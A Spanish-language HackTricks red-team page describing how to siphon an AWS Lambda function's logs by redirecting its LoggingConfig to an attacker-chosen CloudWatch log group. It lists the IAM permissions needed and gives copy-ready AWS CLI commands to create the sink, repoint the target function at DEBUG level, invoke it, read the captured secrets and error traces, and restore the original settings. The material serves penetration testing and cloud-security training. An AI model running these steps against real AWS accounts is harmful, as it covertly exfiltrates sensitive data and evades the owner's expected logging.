AWS Lambda – Log Siphon mediante LoggingConfig.LogGroup Redirection

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Abusa de lambda:UpdateFunctionConfiguration para redirigir los logs de una función a un grupo de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el execution role (la mayoría de los roles de Lambda ya incluyen logs:CreateLogGroup/CreateLogStream/PutLogEvents vía AWSLambdaBasicExecutionRole). Si la función imprime secrets/request bodies o falla con stack traces, puedes recopilarlos desde el nuevo grupo de logs.

Permisos requeridos

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (o confiar en triggers existentes)
  • logs:CreateLogGroup (a menudo no requerido si el role de la función ya lo tiene)
  • logs:FilterLogEvents (para leer eventos)

Pasos

  1. Crea un grupo sink de logs
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Redirigir los registros de la función objetivo
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Espera hasta que LastUpdateStatus sea Successful:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Invocar y leer desde el sink
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Impacto

  • Redirigir de forma encubierta todos los logs de la aplicación/sistema a un grupo de logs que controlas, eludiendo la expectativa de que los logs solo vayan a /aws/lambda/<fn>.
  • Exfiltrar datos sensibles que la función imprima o que aparezcan en errores.

Limpieza

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Notas

  • Los controles de logging son parte de LoggingConfig de Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • Por defecto, Lambda envía los logs a /aws/lambda/<function>, pero puedes apuntar a cualquier nombre de log group; Lambda (o el rol de ejecución) lo creará si tiene permiso.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks